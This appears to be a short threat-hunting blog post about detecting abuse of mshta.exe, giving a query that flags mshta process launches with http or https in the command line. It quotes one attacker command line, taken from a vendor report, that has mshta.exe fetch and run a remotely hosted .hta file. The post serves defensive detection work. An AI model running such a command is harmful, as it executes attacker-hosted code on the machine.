137. Hunting for Mshta Abuse

Hello everyone!

Reading various reports, I see adversaries abuse mshta.exe again and again. Very often I see them leverage it to execute a remotly hosted malicious .hta file.

Here's a recent example from Qualys report:

"C:\Windows\system32\mshta.exe" httpS://mytaxclientcopy[.]com/xlab22.hta

Should we have hunting queries for similar activity? Of course! Yes, because not all .hta files executed from remote hosts are malicious. Anyway, you should not have too many hits.

To build our hunting query, we can use, for example, "http" and "https" keywords:

event_type: "processcreatewin"

AND

proc_file_name: "mshta.exe"

AND

cmdline: ("http" OR "https")

See you tomorrow!

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